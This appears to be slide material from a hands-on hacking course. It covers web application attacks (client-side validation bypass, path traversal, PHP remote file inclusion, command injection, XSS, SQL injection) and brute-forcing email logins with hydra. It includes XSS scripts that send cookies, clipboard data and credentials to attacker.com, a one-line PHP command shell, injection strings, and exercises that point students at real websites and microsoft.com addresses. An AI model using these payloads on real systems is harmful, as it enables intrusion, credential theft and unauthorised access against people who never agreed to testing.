 - <u>https://code.google.com/p/skipfish/</u>



Hands-On:




Web Application – Hidden Directories

Hands-On:

- Choose some known (target) website
- Run nikto on target website
 - Interesting directories?
 - Vulnerabilities found?
 - Any admin / webmail interfaces?



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- Sometimes developer leave to many information within the source code
- Sometimes developer even provide credentials in clear-text
- *"View page source"* often discloses information
- Client-side scripts & applications are in control of the client
 - JavaScript
 - Flash
- All client-side authentication & protection can easily be bypassed



• Example: Martial Arts Website in Munich – Admin Interface





- Example: Martial Arts Website in Munich Sourcecode
 - Uncommented line linking to "pass.php"





- Example: Martial Arts Website in Munich pass.php
 - Web server exposes user ids & passwords (hashed) within the file





- MD5 Hashes online
 - <u>http://www.hashkiller.com</u>
 - Searches through dozens of websites and has own huge database!
 - "Webcrack" requires Account





Web Application – Code Exposure

Hands-On:





Web Application – Code Exposure

Hands-On:

- Take the challenge by yourself
- Visit the provided URL
- Solve the Web Hack-It
 - Stage 1
 - Code Exposure
 - Stage 2
 - Hidden Directory





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- There are various techniques to bypass input validation like "is a valid e-mail" checks, etc.
- All client side validation can easily be bypassed / modified



• Examples

```
// returns true if the string is a valid e-mail
function isEmail(str){
 if(isEmpty(str)) return false;
 var re = /^{[^{s}()<>0,;:/]+@mycompany.com$/i}
 return re.test(str);
// returns true if the string is a US phone number formatted as...
function isPhoneNumber(str) {
 var re = /^{(2-9)}d_{2}().-2^{s}d_{3}(s).-2^{d}4}
 return re.test(str);
// returns true if the string only contains characters A-Z, a-z or 0-9 \,
function isAlphaNumeric(str) {
 var re = /[^a-zA-Z0-9]/g
 if (re.test(str)) return false;
 return true;
}
```



 Most input restrictions can be bypassed by saving the website to disk and manipulating the functions using a text-editor and load the local, modified version into the web browser

Original

```
Modified
```

1

// returns true if the string is a valid e-mailfunction isEmail(str) {

return true;

- Software that is used as a proxy by the Web browser
- Any modification is possible before information reaches its final destination
- Replacements of any kind are possible, including:
 - Modification of cookies
 - Modification of HTTP requests (POST & GET)
 - Modification of variables and form fields
 - Bypassing any client side validation



- Interception Proxies can help Paros
 - On-the-fly interception and modification
 - Support of different authentications
 - Spider functionality







- (1)(2)Attacker (5)Paros Proxy (3)**HTTP Server** (4)// returns true if the string is a /returns true if the string is a valid e-mail valid e-mail function isEmail(str){ function isEmail(str){ if(isEmpty(str)) returnfalse; return true: varre= //[/\s() ~@,::V]+@mycompany.com\$/ return re.test(str); Belongs to (4) Belongs to (3)
- Concept of Interception through Paros Proxy

- 1. The Attacker sends a request to the Paros Proxy.
- 2. The Paros Proxy connects the HTTP Server.
- 3. The HTTP Server sends back the answer to the Paros Proxy.
- 4. Code is being modified
- 5. The Paros Proxy sends back this answer to the Attacker.



• Starting Paros – Main Screen







• Starting Paros – Configure for Interception

• Enable "Trap request" and "Trap response" in "Trap Window"

- Paros will now intercept all traffic and using the buttons "Continue" or "Drop" you can pass the requests to their destination, or drop them
- Paros Proxy runs on localhost on Port 8080
- We need to configure our Browser to use this proxy



• Paros Proxy – Firefox





Paros Proxy – Firefox

- 1. In Firefox "Edit" -> "Preferences"
- 2. "Advanced"
- 3. "Network" tab
- 4. "Settings" button
- 5. Configuration
 - HTTP Proxy: localhost
 - Port: 8080
 - Check on "Use this proxy server for all protocols"



Paros Proxy – Google.com Example

-		Untitled Session - Paros	- + X
Eile Edit View Analyse	Report Tools Help		
Sites		Request Response Trap	
Sites	1	HTTP/1.1 200 OK Date: Tue, 05 Ott 2010 12:51:52 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=UTF-8 Server: gws X-XSS-Protection: 1; mode=block	
	2	<pre></pre> <idoctype html=""><html><head><meta http-equiv="co tent
charset=UTF-8"/><title>Google</title><script>window goo rr070Ej07JAWig20Bw", KEXPI:'17259,25982,26885,27065,27 17259,25982,26885,27006,27016", ei:"aB+T070Ej07JAF ijg21 17259,25982,26885,27006,27016", ei:"aB+T070Ej07JAF ijg21 function() {return(new Date).getTime(), log:function() {return(new Date).getTime(), log:function(), log:fun</td><td>t-type" content="text/html; gle={kE1:"aB- O16",kC51: {ci:" DBW", expi:" tate:"#",kHL:"en",time: var a=new Image,e=google, elete g[f]);g[f]=a;c=c][" (),a.src=c;e,I=f+1}.cc]],II:O,j: u=},bi:ocation.hash&bication. or(var d=0,c;c=["ad","bc","p"," uertion(a)'toacato.uito</td></tr><tr><td></td><td colspan=2><pre>ipa,"zd","ac","pc","pah,"ph","sa","sp","xe","zc","zc","zc",[]d++];){function(a) {google =function() {google,:pl,push([a, arguments])})(c)}(); window.google.sn="webhp";window.google:timers={load: {t: {start:(new Date). getTime()}};try{window.google;pt=window.gtbExternal&&window.gtbExternal catch(u) {} window.google;srt_kill=1; </script><style id="gstyle"></style></head></html></idoctype>	

1. HTTP Header

- 2. HTTP Data
- 3. "Continue" to see the next packet



Hands-On:





Hands-On:

- Start the Paros Proxy
- Configure Paros Proxy & Browser
- Solve Hack-It Stage 1 again using Paros this time.
- Try to modify values and/or code in the right part of Paros before you hit "Continue"





Hands-On:

- Get familiar with this basic interception procedure
- Solve the Web Hack-It
 - Stage 3
 - Input Validation
 - Stage 4
 - HTTP Header Manipulation
 - Stage 5
 - Router Access





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- What is CGI?
 - Abbreviation of **C**ommon **G**ateway Interface
- Specification for transferring information between a Web server and a CGI program
- The program could be written in any programming language, including
 - PHP
 - ASP
 - Perl
 - Java
 - Python
 - Ruby
 - Etc.



Web Application – CGI applications

- There are several types of attacks against CGI applications:
 - File-read: Read files from the remote web server
 - File-execute: Execute applications on the remote web server
 - File-upload: Upload/Include custom code
 - Restriction-bypass: Bypass authentication

Modification Of Variables

- State variables are often used to distinguish between authentication states or user rights
- ID Variables are often used to distinguish between different orders, users or products
- Often variables are stored in the cookie for later usage



Simple Variable Weakness #1

• Due to the lack of a proper variable state initialization, we can define the state of the variable:

http://www.example.com/index.php?auth=1

• These variables are often stored in cookies



Simple Variable Weakness #2

- Offers, customers and products often have numeric values
- Some applications still relay on these numbers. This makes it possible to read someone's order or offer by increasing or guessing a value within a variable
- These variables are often stored in cookies, especially customer IDs
- Example
 - http://www.example.com/show-offer.asp?id=2345

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Remote File Read

- Many CGI scripts read local files according to the selection
- Example:
 - www.example.com/ikonboard/help.cgi?helpon=user
 - Will read and show "user.html"
 - www.example.com/ikonboard/help.cgi?helpon=../../../etc/passwd%00
 - Will read and show the password file

Remote Code Inclusion – PHP #1

- Variable include/require statements are dangerous
- PHP applications with unsafe include() and require() calls are affected, because PHP allows remote URL's within those calls:
- Example:
 - http://www.victim.com/index.php?action=logout.php
 - The vulnerable code looks like this:

```
index.php:
<?php
include $_GET['action'];
?>
```



Remote Code Inclusion – PHP #2

- A simple PHP command execution script is put to a web server: cmd.php: <?php system(\$c) ?>
- When the request below is sent, the web server of the target includes our PHP script and passes our command to it:
 - http://www.victim.com/index.php?action=http://www.attacker.com/cmd.php?c=ls



Remote Code Inclusion

- Sometimes it's possible to use/abuse upload scripts to upload custom CGI/PHP scripts to the remote web server
- Some other places to include custom codes which will be executed by the Webserver are guestbook's, forums, etc.



NULL-Byte Injection

- NULL (\0) is often used to terminate strings within applications
- NULL bytes can be used to remove file extensions if user supplied data is used for filenames and a fixed extension is added by the application:
 - www.codito.de/ikonboard/help.cgi?helpon=../../../etc/passwd
 Reads /etc/passwd.html (Not found)?
 - www.codito.de/ikonboard/help.cgi?helpon=../../../etc/passwd%00
 Reads /etc/passwd (Found)


Character Injection

- CRLF (\r\n) could invoke a second command if user-supplied data is passed to the command line
- ;, &, &&, |, || and `can also trigger a second, custom command to be executed
- Script executes command:

system("cat welcome_mail.txt | mail <USER-SUPPLIED DATA>");

 Using the following string as the e-mail address will send us the original mail and the password file:

user@attacker.com && mail user@attacker.com < /etc/passwd</pre>



Web Application – CGI applications

Hands-On:





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Web Application – CGI applications

Hands-On:

- Solve the Web Hack-It
 - Stage 6
 - Cookie Manipulation
 - Stage 7
 - Code Inclusion
 - Stage 8
 - Local File Inclusion





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- Web Application
 - Overview
 - Basics
 - Code Exposure
 - Input Validation
 - CGI applications
 - Cross Site Scripting
 - SQL Injection



Web Application – Cross Site Scripting

- Cross Site Scripting (called XSS) is a technique do insert custom HTML/JavaScript/etc.
 code into a remote website
- There a mainly 2 ways:
 - Persistent: Code is inserted into the remote website using a guestbook, forum, etc.
 - Non persistent: Code is inserted into the remote website using a specially crafted link and have users clicking it
- <u>http://www.xssed.com/archive/special=1/</u>
 - List of famous & government websites with XSS
- Reference: XSS Cheat Sheet
 - <u>http://ha.ckers.org/xss.html</u>



• Example – USA election:





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- Indirect impact:
- HTML or JavaScript code will be entered in a guest book. Every time someone opens the guestbook, the code will be interpreted by the viewers web browsing engine
- Error messages will be logged to a text file. Instead of simple generating a message like "test.txt File not found", messages like "<script>alert("test");</script> will be generated. When the log viewer application interprets the lines in the text file, the code might be executed



- Affected parts of an application
 - Every part of an application can be vulnerable to injection attacks depending on its processing of information
 - Any variables, form fields, cookies and components are candidates to be abused for this attack
- Missing input validation is the source of this attack



Discovery of XSS

- The discovery of possible attack vectors can be done manually or automated
- Manual analyzing:
 - What input possibilities are available within an application?
 - How is the data processed?
 - Try to modify input fields with common test strings.
 - Modify the attack string to do something useful!



Advanced XSS

- Reading the clipboard of clients using the Internet Explorer through XSS (e.g. using a fake image tag)
- The attackers dumb script simply writes the given data to a log file on the remote server:

```
<script>
data = clipboardData.getData("Text");
img = '<img src="http://www.attacker.com/clipdump.php?payload=
    ' + escape(data) + '&referrer={$refer}' + '&host{$ip}" width=1 height=1>';
    document.write(img);
</script>
```



Advanced XSS

• A XSS bug in a login page in combination with the victim using the browsers "passwordsafe" enables attackers to steal login data.

```
<script>
function hack() {
  url = 'http://www.attacker.com/logindump.php?u=' +
  document.form.username.value + '&p=' + document.form.pw.value;
  };
  location.href=url;
  setTimeout(hack,2000);
</script>
```



Advanced XSS

- The victim uses a webmailer, e.g. yahoo.com and does not log out, so his session is still active
- The victim visits some XSS poisoned site that expects yahoo.com users to still be logged on and sends mails using their account/browser:

<img src="http://www.yahoo.com?rcpt=info@domain.com...



Session Hijacking using Cookies

- Many of the current session management systems are based on cookies, storing the session ID at client side
- The cookies can be read and transferred using JavaScript
- The stolen cookie content will then be used by the attacker

```
<script>
```

```
top.load('http://www.attacker.com/cookiedump.php?c=' + document.cookie
</script>
```



Hands-On:





Web Application – Cross Site Scripting

Hands-On:

- Search for some target sites with input forms
- Try some basic XSS
- Sites vulnerable?





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Table of Content



- Web Application
 - Overview
 - Basics
 - Code Exposure
 - Input Validation
 - CGI applications
 - Cross Site Scripting
 - SQL Injection



- All databases are affected
 - MySQL
 - Microsoft SQL
 - PostgreSQL
 - Oracle
 - etc...
- The problem is not the database itself, it's the absence of input validation
- An attacker tricks an application into running an arbitrary SQL query by appending extra SQL elements to the query that was intended to be executed by the database application



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Web Application – SQL Injection

- Simple detection is possible by supplying characters that will modify the intended SQL query :
 - '
 - "
 - ___
 - ;
 - ||



Simple SQL Injection example:

• URL

http://www.victim.com/senddetails.php?mail=user@domain.com

• PHP Code

```
<?php
mysql_query('SELECT name FROM users WHERE mail='.$_GET['e-mail']);
?>
```

• SQL Query

SELECT name FROM users WHERE mail='user@domain.com'



Simple SQL Injection example:

• URL

http://www.victim.com/senddetails.php?mail="something ' or 1=1;"

• PHP Code

```
<?php
mysql_query('SELECT name FROM users WHERE mail='.$_GET['e-mail']);
?>
```

• SQL Query

SELECT name FROM users WHERE mail='something' or 1=1;



Depending of the query, the following injections might work:

- ' or 1=1--
- " or 1=1--
- or 1=1--
- ' or '1'='1
- " or "1"="1
- ') or ('1'='1





Web Application – SQL Injection

- Instead of just sending the related login details for the user@domain.com user, the application will return the details for all users in the database as 1=1 is always true
- The amount of abuse possibilities on the different database products is depending on their feature set or dialect of SQL, their macros (stored procedures) and/or their architecture
 - Sub SELECT, VIEW and UNION commands are used to gather more information as intended
 - INSERT or ALTER commands are used for writing onto databases
 - Store procedures are product specific but very powerful
 - System commands for system overtake!



SQL UNION:

- UNION combines SQL queries
- Original query:
 - SELECT name, age FROM family;
- Modified query:
 - SELECT name, age FROM family UNION SELECT username, password FROM users;



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Summary

- SQL injection could take up to multiple days/weeks/month of training for a single product / platform. It is diverse, depending on the database product used
- If you need to test a certain application you should try to find out what database application is running and refer to the existing technical publications
- No magic potion here



Web Application – SQL Injection

Hands-On:





Web Application – SQL Injection

Hands-On:

- Solve Web Hack-It Stage 9
- Solve Web Hack-It Stage 10
 - Combination of everything learned!





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- 1. <u>Overview</u>
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- 3. <u>Server Intrusion</u>
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- 6. <u>Wired Intrusion</u>
- 7. <u>Web Application</u>
- 8. Miscellaneous Attacks



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- Miscellaneous Attacks
 - Breaking E-Mail Accounts



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- No reliable method to get in!
- Bruteforce possible
- Dictionary attack is most efficient
 - Predefined wordlists
 - Own wordlists



- Example target:
 - Any @microsoft.com
- Need to know:
 - Many E-Mail addresses
 - POP3/IMAP4 Server for E-Mail retrieval



Need to know the POP3(S)/IMAP4(S) Server

- Not always 100% possible to find out
- Even if sometimes remote POP3/IMAP4 connections are forbidden
- Possibly the same IP/Hostname like SMTP address
- Domain Bruteforce
- Scanning network range

Possibly the same IP/Hostname like SMTP address

- Check for the MX (DNS entry for Mail) record
 - \$ host -t MX microsoft.com

microsoft.com mail is handled by 10 mail.messaging.microsoft.com.

• Checking if this host also responds to POP3(S)/IMAP(S)

nmap -p 110,143,993,995 mail.messaging.microsoft.com



Domain Bruteforce

- dnsenum can be used
 - DNS Name enumeration
 - Multiple discovery techniques
 - BT5:/pentest/enumeration/dns/dnsenum/

Usage:

./dnsenum -f dns.txt microsoft.com

Look out for hostnames like:

- email.*
- mail.*
- pop.*



Scanning Network Range

• The POP3/IMAP4 server is often in the same IP range like the domain

- Example www.microsoft.com
 - # ping microsoft.com

PING microsoft.com (207.46.232.182) 56(84) bytes of data.

• Check the IP range for POP3/IMAP4 server with nmap:

nmap -p 110,143,993,995 207.46.232.1-254



Hands-On:





Hands-On:

- Choose some target
- Try to find out the POP3/IMAP4 Mail server




Generating Dictionary – Predefined Wordlists

- Many wordlists are free to download
- <u>http://www.packetstormsecurity.org/Crackers/wordlists/</u>
- Categorized wordlists
 - Common Words
 - Languages
 - Religion
 - Movies
 - Etc.
- Millions of words!



Generating Dictionary – Predefined Wordlists

- Pro
 - Much higher success rate
- Contra
 - May take a long time to find the correct password

Generating Dictionary – Own Wordlists

- Creating wordlists with simple passwords
- Many people use passwords like:
 - 123456
 - Password
 - asdfgh
 - 123qwe
 - abc123



Generating Dictionary – Predefined Wordlists

- Pro
 - Very fast results
- Contra
 - Low(er) success rate



Hands-On:





Hands-On:

- Create wordlist
- Choose around 30 passwords
- Save for later use





How to get E-Mail addresses

• Searching with Maltego



• *@microsoft.com



How to get E-Mail addresses

- Using Google Search
 - mailto: "@microsoft.com"
- Using Google Mail Enum

goog-mail.py microsoft.com



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Hands-On:





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Hands-On:

- Choose some target
- Collect 5 to 10 E-Mail addresses





- After
 - Finding some E-Mail addresses
 - Finding the corresponding POP3/IMAP4 server
 - Creating a password wordlist
- Start to attack the mail postboxes
- Using xhydra for Bruteforce



- xhydra
 - Very fast logon cracker
 - Multiple protocols like POP3, HTTP, FTP, MYSQL, etc.
- Good and easy to use GUI

-			Hydra	HydraGTK			- + ×		
Target Target	Passwords	Tuning Sper	cific Start	1					
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Output	Options								
	C) Use SSL			🗍 Be	Verbose			
	Show Attempts					Debug			
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• xhydra – Target

- Ouit				Hydra	GTK			- 4	×
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	() Targe	et List							
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	Protoc	:01			[pop3			v 2	
Output	Options								
	Use SSL						Be Verbe	ose	
3 🖸 Show Attempts							🗍 Debu	g	
ovdra n	ail microsof	t.com.pc	vI-V-Eq	oumam	e -n vou	mass -t 36			-

- 1. IP/Domain of POP3 Server
- 2. Protocol = POP3
- 3. Show Attempts = We see each attempt in the Log



• xhydra – Target

- Quit			Hydra	GTK	- +	×
Target	Passwords	Tuning Spec	ific Start			
Usema	me					-
	O Use	emame		yourname		
	O User	name List		1 ~/users.lst		
Passw	ord-			-		-
	O Pas	ssword		yourpass		
	O Pass	word List		2 ~/passes.ls	t	
Colon :	seperated fil	e				_
	Use Col	on seperated i	file	[
	💽 Try log	gin as passwol	rd	עד 🗋	empty password	
hydra m	ail microsof	t com non3 -V	J ~/users	Ist .P ~/nasses ist	-es.t36	-

- 1. Created list of users
- 2. List of passwords
- 3. Try username as password



• xhydra – Target

xHydra				000				
Quit								
Target Passwords	s Tuning	Specific	Start					
Performance Option	ons							
Numb	er of Tasks	5		4 2 1				
т	imeout			30				
	E	xit after l	first fou	nd pair				
Use a HTTP/HTTP	5 Proxy							
No Proxy O HTTP Method				O CONNECT Method				
F	Proxy			http://127.0.0.1:8080				
🗍 Proxy nee	eds authen	tication						
Ús	ername			yourname				
Pa	ssword			yourpass				
hydra 127.0.0.1 af	o -l yourna	me -p you	urpass -	t 4				

1. Parallel attempts per second = depends on connection = 3 - 5 suggested



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• xhydra – Target

.				Hydra	GTK			- + :	×
<u>Q</u> uit									
Target	Passwords	Tuning	Specific	Start					
-Output									
WARNIN	G: Restoren	ile (./hyd	ra.restor	e) from	a previous se	ssion found	i, to preve	ent overv	
Hydra (5.7 (C) 2006	bc ora) s	tarting a	+ 2010	-08-26 18-19-	14	purposes		
IDATA	16 tasks. 1 s	ervers. 1	750 logi	n tries	(l:70/p:25), ~1	109 tries pe	rtask		
[DATA]	attacking se	rvice por	nog no Ec	t 110					
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[ATTEM	PT] target se	ecure.em	ailsrvr.co	m - log	jin "agness " -	pass "pass	word" - c	hild 1 - 2	
[ATTEM	PT] target se	ecure.em	ailsrvr.co	m - log	gin "agness " -	pass "pass	word1" -	child 2 -	Ξ
[ATTEM	PT] target se	ecure.em	ailsrvr.co	m - log	jin "agness " -	pass "1234	" - child 3	3 - 4 of 1	
LATTEM	PI] target se	ecure.em	allsrvr.co	m - log	jin "agness " -	pass "1234	5" - child	4 - 5 of	
	PT] target se	ecure.em	alistvr.co	m - 100	jin "agness " - in "agness "	 pass "1234 pass "1234 	156" - Chii	05-60	
	PT] target se	cure em	ailenree		yin agriess -	pass 1234	15678" - Cl	hild 7 8	
TATTEM	PT1 target se	ecure.em	ailsrvr.co	m - loc	in "agness " -	pass "gwei	tv" - chilo	18-9 of	
IATTEM	PT1 target se	ecure.em	ailsrvr.co	m - loc	in "agness " -	pass "asdf	a" - child	9 - 10 of	U
ATTEM	PT] target se	ecure.em	ailsrvr.co	m - loo	in "agness " -	pass "allah	- child]	0 - 11 c	5
ATTEM	PT] target se	ecure.em	ailsrvr.co	m - log	jin "agness " -	pass "qura	n" - child	11 - 12 c	
[ATTEM	PT] target se	ecure.em	ailsrvr.co	m - log	jin "agness " -	pass "abcl	23" - chil	d 12 - 13	
[ATTEM	PT] target se	ecure.em	ailsrvr.co	m - log	jin "agness " -	pass "abc3	21" - chil	d 13 - 14	
[ATTEM	PT] target se	ecure.em	ailsrvr.co	m - log	gin "agness " -	pass "Pass	word" - cl	hild 14 -	
LATTEM	PT] target se	ecure.em	ailsrvr.co	m - log	jin "agness " -	pass "1231	23" - chil	d 15 - 16	
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-			111						
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• Output window

If password is found – it will be displayed in **bold** characters

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Hands-On:





Hands-On:

- Trainer will give domain name!
- Use xhydra to bruteforce logins





Questions?

Thank you for your attention!





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